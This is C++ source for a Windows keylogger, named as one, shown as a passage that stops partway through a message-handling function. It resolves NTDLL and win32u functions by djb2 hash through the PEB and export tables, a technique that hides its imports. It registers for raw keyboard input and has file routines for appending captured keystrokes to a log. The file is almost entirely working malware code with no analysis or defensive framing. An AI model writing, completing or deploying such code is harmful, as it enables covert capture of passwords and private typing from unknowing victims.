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NtUserGetRawInputDataKeylogger.cpp
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NtUserGetRawInputDataKeylogger.cpp
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#include <Windows.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_OPEN_IF 0x00000003
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define WM_MAXIMUM 0x0001FFFF
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
typedef struct __CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID, * PCLIENT_ID;
typedef struct _RTLP_CURDIR_REF {
LONG RefCount;
HANDLE Handle;
}RTLP_CURDIR_REF, * PRTLP_CURDIR_REF;
typedef struct _RTL_RELATIVE_NAME_U {
UNICODE_STRING RelativeName;
HANDLE ContainingDirectory;
PRTLP_CURDIR_REF CurDirRef;
}RTL_RELATIVE_NAME_U, * PRTL_RELATIVE_NAME_U;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _FILE_STANDARD_INFORMATION {
LARGE_INTEGER AllocationSize;
LARGE_INTEGER EndOfFile;
ULONG NumberOfLinks;
BOOLEAN DeletePending;
BOOLEAN Directory;
} FILE_STANDARD_INFORMATION, * PFILE_STANDARD_INFORMATION;
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileObjectIdInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileQuotaInformation,
FileReparsePointInformation,
FileNetworkOpenInformation,
FileAttributeTagInformation,
FileTrackingInformation,
FileIdBothDirectoryInformation,
FileIdFullDirectoryInformation,
FileValidDataLengthInformation,
FileShortNameInformation,
FileIoCompletionNotificationInformation,
FileIoStatusBlockRangeInformation,
FileIoPriorityHintInformation,
FileSfioReserveInformation,
FileSfioVolumeInformation,
FileHardLinkInformation,
FileProcessIdsUsingFileInformation,
FileNormalizedNameInformation,
FileNetworkPhysicalNameInformation,
FileIdGlobalTxDirectoryInformation,
FileIsRemoteDeviceInformation,
FileUnusedInformation,
FileNumaNodeInformation,
FileStandardLinkInformation,
FileRemoteProtocolInformation,
FileRenameInformationBypassAccessCheck,
FileLinkInformationBypassAccessCheck,
FileVolumeNameInformation,
FileIdInformation,
FileIdExtdDirectoryInformation,
FileReplaceCompletionInformation,
FileHardLinkFullIdInformation,
FileIdExtdBothDirectoryInformation,
FileMaximumInformation
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _FILE_POSITION_INFORMATION {
LARGE_INTEGER CurrentByteOffset;
} FILE_POSITION_INFORMATION, * PFILE_POSITION_INFORMATION;
typedef PVOID PACTIVATION_CONTEXT;
typedef struct _IO_APC_ROUTINE {
VOID* ApcContext;
PIO_STATUS_BLOCK IoStatusBlock;
ULONG Reserved;
} IO_APC_ROUTINE, * PIO_APC_ROUTINE;
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} ANSI_STRING, * PANSI_STRING;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
WORD Flags;
WORD Length;
ULONG TimeStamp;
ANSI_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _CURDIR {
UNICODE_STRING DosPath;
PVOID Handle;
}CURDIR, * PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
PVOID StandardInput;
PVOID StandardOutput;
PVOID StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONG EnvironmentSize;
}RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
PACTIVATION_CONTEXT ActivationContext;
ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT_STACK {
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
typedef struct _GDI_TEB_BATCH {
ULONG Offset;
ULONG HDC;
ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
ULONG Flags;
PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
typedef struct _TEB
{
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
LONG ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
ULONG TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
ACTIVATION_CONTEXT_STACK ActivationContextStack;
UCHAR SpareBytes1[24];
#endif
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
PSIZE_T Win32ClientInfo[62];
PVOID glDispatchTable[233];
PSIZE_T glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG HardErrorMode;
#else
ULONG HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PVOID Instrumentation[14];
PVOID SubProcessTag;
PVOID EtwLocalData;
#else
PVOID Instrumentation[16];
#endif
PVOID WinSockData;
ULONG GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
BOOLEAN SpareBool0;
BOOLEAN SpareBool1;
BOOLEAN SpareBool2;
#else
BOOLEAN InDbgPrint;
BOOLEAN FreeStackOnTermination;
BOOLEAN HasFiberData;
#endif
UCHAR IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG GuaranteedStackBytes;
#else
ULONG Spare3;
#endif
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
ULONG_PTR SparePointer1;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR SoftPatchPtr2;
#else
Wx86ThreadState Wx86Thread;
#endif
PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG ImpersonationLocale;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID PreferredLangauges;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
struct
{
USHORT SpareCrossTebFlags : 16;
};
USHORT CrossTebFlags;
};
union
{
struct
{
USHORT DbgSafeThunkCall : 1;
USHORT DbgInDebugPrint : 1;
USHORT DbgHasFiberData : 1;
USHORT DbgSkipThreadAttach : 1;
USHORT DbgWerInShipAssertCode : 1;
USHORT DbgIssuedInitialBp : 1;
USHORT DbgClonedThread : 1;
USHORT SpareSameTebBits : 9;
};
USHORT SameTebFlags;
};
PVOID TxnScopeEntercallback;
PVOID TxnScopeExitCAllback;
PVOID TxnScopeContext;
ULONG LockCount;
ULONG ProcessRundown;
ULONG64 LastSwitchTime;
ULONG64 TotalSwitchOutTime;
LARGE_INTEGER WaitReasonBitMap;
#else
BOOLEAN SafeThunkCall;
BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;
#define InitializeObjectAttributes(p, n, a, r, s) \
{ \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#define HID_USAGE_PAGE_GENERIC 0x01
#define HID_USAGE_GENERIC_KEYBOARD 0x06
#define IS_ATOM(x) (((ULONG_PTR)(x) > 0x0) && ((ULONG_PTR)(x) < 0x10000))
typedef PVOID(NTAPI* RTLALLOCATEHEAP)(PVOID, ULONG, SIZE_T);
#define RTLALLOCATEHEAP_SIG 0xc0b381da
typedef BOOL(NTAPI* RTLFREEHEAP)(PVOID, ULONG, PVOID);
#define RTLFREEHEAP_SIG 0x70ba71d7
typedef NTSTATUS(NTAPI* LDRLOADDLL) (PWCHAR, DWORD, PUNICODE_STRING, PHANDLE);
#define LDRLOADDLL_SIG 0x0307db23
typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE);
#define NTCLOSE_SIG 0x8b8e133d
typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
#define NTCREATEFILE_SIG 0x15a5ecdb
typedef NTSTATUS(NTAPI* RTLDOSPATHNAMETONTPATHNAME_U)(PCWSTR, PUNICODE_STRING, PCWSTR*, PRTL_RELATIVE_NAME_U);
#define RTLDOSPATHNAMETONTPATHNAME_U_SIG 0xbfe457b2
typedef LRESULT(NTAPI* NTDLLDEFWINDOWPROC_W)(HWND, UINT, WPARAM, LPARAM);
#define NTDLLDEFWINDOWPROC_W_SIG 0x058790f4
typedef NTSTATUS(NTAPI* NTQUERYINFORMATIONFILE)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
#define NTQUERYINFORMATIONFILE_SIG 0x4725f863
typedef NTSTATUS(NTAPI* NTSETINFORMATIONFILE) (HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
#define NTSETINFORMATIONFILE_SIG 0x6e88b479
typedef NTSTATUS(NTAPI* NTWRITEFILE)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, PVOID, ULONG, PLARGE_INTEGER, PULONG);
#define NTWRITEFILE_SIG 0xd69326b2
//WIN32U
typedef VOID(NTAPI* NTUSERCALLONEPARAM)(DWORD, DWORD);
#define NTUSERCALLONEPARAM_SIG 0xb19a9f55
typedef BOOL(NTAPI* NTUSERDESTROYWINDOW)(HWND);
#define NTUSERDESTROYWINDOW_SIG 0xabad4a48
typedef BOOL(NTAPI* NTUSERREGISTERRAWINPUTDEVICES)(PCRAWINPUTDEVICE, UINT, UINT);
#define NTUSERREGISTERRAWINPUTDEVICES_SIG 0x76dc2408
typedef UINT(NTAPI* NTUSERGETRAWINPUTDATA)(HRAWINPUT, UINT, LPVOID, PUINT, UINT);
#define NTUSERGETRAWINPUTDATA_SIG 0xd902c31a
typedef BOOL(NTAPI* NTUSERGETKEYBOARDSTATE)(PBYTE);
#define NTUSERGETKEYBOARDSTATE_SIG 0x92ca3458
typedef INT(NTAPI* NTUSERTOUNICODEEX)(UINT, UINT, PBYTE, LPWSTR, INT, UINT, HKL);
#define NTUSERTOUNICODEEX_SIG 0xe561424d
typedef UINT(NTAPI* NTUSERMAPVIRTUALKEYEX)(UINT, UINT, UINT, UINT);
#define NTUSERMAPVIRTUALKEYEX_SIG 0xc8e8ef51
typedef INT(NTAPI* NTUSERGETKEYNAMETEXT)(LONG, LPWSTR, INT);
#define NTUSERGETKEYNAMETEXT_SIG 0x5be51535
typedef BOOL(NTAPI* NTUSERGETMESSAGE)(LPMSG, HWND, UINT, UINT);
#define NTUSERGETMESSAGE_SIG 0xb6c60f8b
typedef BOOL(NTAPI* NTUSERTRANSLATEMESSAGE)(PMSG, UINT);
#define NTUSERTRANSLATEMESSAGE_SIG 0xafc97a79
VOID RtlZeroMemoryInternal(PVOID Destination, SIZE_T Size)
{
PULONG Dest = (PULONG)Destination;
SIZE_T Count = Size / sizeof(ULONG);
while (Count > 0)
{
*Dest = 0;
Dest++;
Count--;
}
return;
}
SIZE_T StringLengthW(LPCWSTR String)
{
LPCWSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)
{
PWCHAR p = String1;
while ((*p++ = *String2++) != 0);
return String1;
}
PWCHAR StringConcatW(PWCHAR String, PWCHAR String2)
{
StringCopyW(&String[StringLengthW(String)], String2);
return String;
}
DWORD DecimalToAsciiW(PWCHAR String, LPDWORD dwArray, DWORD Length)
{
DWORD dwX = ERROR_SUCCESS;
if (String == NULL)
return dwX;
for (; dwX < Length; dwX++) { String[dwX] = (WCHAR)dwArray[dwX]; }
return dwX;
}
PWCHAR UpperStringW(PWCHAR String)
{
PWCHAR pwPtr = String;
while (*pwPtr != '\0')
{
if (*pwPtr >= 'a' && *pwPtr <= 'z')
*pwPtr = *pwPtr - ('a' - 'A');
pwPtr++;
}
return String;
}
PWCHAR StringTokenW(PWCHAR String, CONST PWCHAR Delim)
{
PWCHAR Last;
PWCHAR SpanP, Token;
INT C, SC;
if (String == NULL)
return NULL;
CONTINUE:
C = *String++;
for (SpanP = (PWCHAR)Delim; (SC = *SpanP++) != ERROR_SUCCESS;)
{
if (C == SC)
goto CONTINUE;
}
if (C == ERROR_SUCCESS) { Last = NULL; return NULL; }
Token = String - 1;
for (;;)
{
C = *String++;
SpanP = (PWCHAR)Delim;
do {
if ((SC = *SpanP++) == C)
{
if (C == ERROR_SUCCESS)
String = NULL;
else
String[-1] = '\0';
Last = String;
return Token;
}
} while (SC != ERROR_SUCCESS);
}
return NULL;
}
DWORD HashStringDjb2A(PCHAR String)
{
ULONG Hash = 5381;
INT c;
while (c = *String++)
Hash = ((Hash << 5) + Hash) + c;
return Hash;
}
DWORD HashStringDjb2W(PWCHAR String)
{
ULONG Hash = 5381;
INT c;
while (c = *String++)
Hash = ((Hash << 5) + Hash) + c;
return Hash;
}
VOID RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString)
{
SIZE_T DestSize;
if (SourceString)
{
DestSize = StringLengthW(SourceString) * sizeof(WCHAR);
DestinationString->Length = (USHORT)DestSize;
DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR);
}
else
{
DestinationString->Length = 0;
DestinationString->MaximumLength = 0;
}
DestinationString->Buffer = (PWCHAR)SourceString;
}
VOID RtlInitEmptyUnicodeString(PUNICODE_STRING UnicodeString, PWCHAR Buffer, USHORT BufferSize)
{
UnicodeString->Length = 0;
UnicodeString->MaximumLength = BufferSize;
UnicodeString->Buffer = Buffer;
}
typedef struct API_IMPORT_TABLE {
DWORD64 PeBase; //NTDLL.DLL
DWORD64 Win32uBase; //WIN32U.DLL
DWORD Error; //GLOBAL ERROR HANDLER
PPEB Peb; //PEB POINTER
PTEB Teb; //TEB POINTER
PWCHAR lpszClassNameBuffer; //WINDOWS CLASS NAME
//NTDLL IMPORTS
LDRLOADDLL LdrLoadDll;
RTLALLOCATEHEAP RtlAllocateHeap;
RTLFREEHEAP RtlFreeHeap;
NTCLOSE NtClose;
NTCREATEFILE NtCreateFile;
RTLDOSPATHNAMETONTPATHNAME_U RtlDosPathNameToNtPathName_U;
NTDLLDEFWINDOWPROC_W NtdllDefWindowProc_W;
NTQUERYINFORMATIONFILE NtQueryInformationFile;
NTSETINFORMATIONFILE NtSetInformationFile;
NTWRITEFILE NtWriteFile;
//WIN32U IMPORTS
NTUSERCALLONEPARAM NtUserCallOneParam;
NTUSERDESTROYWINDOW NtUserDestroyWindow;
NTUSERREGISTERRAWINPUTDEVICES NtUserRegisterRawInputDevices;
NTUSERGETRAWINPUTDATA NtUserGetRawInputData;
NTUSERGETKEYBOARDSTATE NtUserGetKeyboardState;
NTUSERTOUNICODEEX NtUserToUnicodeEx;
NTUSERMAPVIRTUALKEYEX NtUserMapVirtualKeyEx;
NTUSERGETKEYNAMETEXT NtUserGetKeyNameText;
NTUSERGETMESSAGE NtUserGetMessage;
NTUSERTRANSLATEMESSAGE NtUserTranslateMessage;
}API_TABLE, PAPI_TABLE;
PTEB GetTeb(VOID)
{
#if defined(_WIN64)
return (PTEB)__readgsqword(0x30);
#elif define(_WIN32)
return (PTEB)__readfsdword(0x18);
#endif
}
API_IMPORT_TABLE Api;
DWORD InlineTebGetLastError(VOID)
{
return Api.Teb->LastErrorValue;
}
DWORD InlineUppGetEnvironmentVariableW(LPCWSTR Name, LPWSTR Buffer, DWORD Size)
{
UNICODE_STRING uString; RtlZeroMemoryInternal(&uString, sizeof(UNICODE_STRING));
UNICODE_STRING Variable; RtlZeroMemoryInternal(&Variable, sizeof(UNICODE_STRING));
DWORD Token[1] = { 61 };
LPWSTR String = NULL;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (PRTL_USER_PROCESS_PARAMETERS)Api.Peb->ProcessParameters;
LPWSTR Environment = (LPWSTR)ProcessParameters->Environment;
LPWSTR lpszPtr = (LPWSTR)Environment;
PWCHAR Pointer;
BOOL bFlag = FALSE;
String = (LPWSTR)Api.RtlAllocateHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, sizeof(WCHAR) * 2);
if (String == NULL)
goto EXIT_ROUTINE;
DecimalToAsciiW(String, Token, 1);
Name = UpperStringW((PWCHAR)Name);
if (Name == NULL)
goto EXIT_ROUTINE;
RtlInitUnicodeString(&Variable, (PWCHAR)Name);
while (*lpszPtr)
{
DWORD dwVariableHash = 0;
DWORD dwPointerHash = 0;
lpszPtr += StringLengthW(lpszPtr) + 1;
Pointer = StringTokenW(lpszPtr, String);
if (Pointer == NULL)
goto EXIT_ROUTINE;
Pointer = UpperStringW((PWCHAR)Pointer);
dwVariableHash = HashStringDjb2W(Variable.Buffer);
dwPointerHash = HashStringDjb2W(lpszPtr);
if (dwVariableHash == dwPointerHash)
{
lpszPtr += StringLengthW(lpszPtr) + 1;
Pointer = StringTokenW(lpszPtr, String);
if (Pointer == NULL)
goto EXIT_ROUTINE;
RtlInitUnicodeString(&uString, Pointer);
break;
}
}
if (StringCopyW(Buffer, uString.Buffer) == NULL)
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if (String)
Api.RtlFreeHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, String);
return (bFlag == TRUE ? uString.Length : 0);
}
BOOL RtlLoadPeHeaders(PIMAGE_DOS_HEADER* Dos, PIMAGE_NT_HEADERS* Nt, PIMAGE_FILE_HEADER* File, PIMAGE_OPTIONAL_HEADER* Optional, PBYTE* ImageBase)
{
*Dos = (PIMAGE_DOS_HEADER)*ImageBase;
if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
*Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew);
if ((*Nt)->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
*File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD));
*Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER));
return TRUE;
}
DWORD64 __stdcall ImportFunction(DWORD64 ModuleBase, DWORD64 Hash)
{
PBYTE pFunctionName;
PIMAGE_DOS_HEADER Dos;
PIMAGE_NT_HEADERS Nt;
PIMAGE_FILE_HEADER File;
PIMAGE_OPTIONAL_HEADER Optional;
RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ModuleBase);
IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions);
PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals);
DWORD dwX;
for (dwX = 0; dwX < ExportTable->NumberOfNames; dwX++)
{
pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase;
DWORD dwFunctionHash = HashStringDjb2A((PCHAR)pFunctionName);
if (Hash == dwFunctionHash)
return ((DWORD64)ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]]);
}
return 0;
}
VOID InlineWin32uPostQuitMessage(DWORD nExitCode)
{
Api.NtUserCallOneParam(nExitCode, 0x3B);
return;
}
DWORD InlineRtlSetFilePointerToEnd(HANDLE File)
{
FILE_POSITION_INFORMATION FilePosition; RtlZeroMemoryInternal(&FilePosition, sizeof(FILE_POSITION_INFORMATION));
FILE_STANDARD_INFORMATION FileStandard; RtlZeroMemoryInternal(&FileStandard, sizeof(FILE_STANDARD_INFORMATION));
LARGE_INTEGER Distance; RtlZeroMemoryInternal(&Distance, sizeof(LARGE_INTEGER));
IO_STATUS_BLOCK Block; RtlZeroMemoryInternal(&Block, sizeof(IO_STATUS_BLOCK));
NTSTATUS Status = ERROR_SUCCESS;
if (((ULONG_PTR)File & 0x10000003) == 0x3)
return INVALID_SET_FILE_POINTER;
Status = Api.NtQueryInformationFile(File, &Block, &FilePosition, sizeof(FILE_POSITION_INFORMATION), FilePositionInformation);
if(!NT_SUCCESS(Status))
return INVALID_SET_FILE_POINTER;
else
FilePosition.CurrentByteOffset.QuadPart = FileStandard.EndOfFile.QuadPart + Distance.QuadPart;
if (FilePosition.CurrentByteOffset.QuadPart < ERROR_SUCCESS)
return INVALID_SET_FILE_POINTER;
Status = Api.NtSetInformationFile(File, &Block, &FilePosition, sizeof(FILE_POSITION_INFORMATION), FilePositionInformation);
if (!NT_SUCCESS(Status))
return INVALID_SET_FILE_POINTER;
return FilePosition.CurrentByteOffset.u.LowPart;
}
HANDLE InlineNtdllNtCreateFile(LPCWSTR lpFileName)
{
OBJECT_ATTRIBUTES Attributes; RtlZeroMemoryInternal(&Attributes, sizeof(OBJECT_ATTRIBUTES));
IO_STATUS_BLOCK Io; RtlZeroMemoryInternal(&Io, sizeof(IO_STATUS_BLOCK));
LARGE_INTEGER Integer; RtlZeroMemoryInternal(&Integer, sizeof(LARGE_INTEGER)); Integer.QuadPart = 2048;
UNICODE_STRING uString; RtlZeroMemoryInternal(&uString, sizeof(UNICODE_STRING));
UNICODE_STRING BinaryNtPath; RtlZeroMemoryInternal(&BinaryNtPath, sizeof(UNICODE_STRING));
NTSTATUS Status = ERROR_SUCCESS;
HANDLE hHandle = NULL;
RtlInitUnicodeString(&uString, lpFileName);
if (uString.Buffer[0] != L'\\')
Api.RtlDosPathNameToNtPathName_U(uString.Buffer, &BinaryNtPath, NULL, NULL);
InitializeObjectAttributes(&Attributes, &BinaryNtPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
Status = Api.NtCreateFile(&hHandle, FILE_GENERIC_WRITE | FILE_GENERIC_READ, &Attributes, &Io, &Integer, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, 0, 0);
if (!NT_SUCCESS(Status))
return NULL;
return hHandle;
}
BOOL InlineRtlNtUserGetMessage(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax)
{
BOOL Result;
if ((wMsgFilterMin | wMsgFilterMax) & ~WM_MAXIMUM)
return FALSE;
Result = Api.NtUserGetMessage(lpMsg, hWnd, wMsgFilterMin, wMsgFilterMax);
if (-1 == (INT)Result)
return Result;
return Result;
}
BOOL InlineRtlNtUserTranslateMessage(PMSG lpMsg, UINT Flags)
{
switch (lpMsg->message)
{
case WM_KEYDOWN:
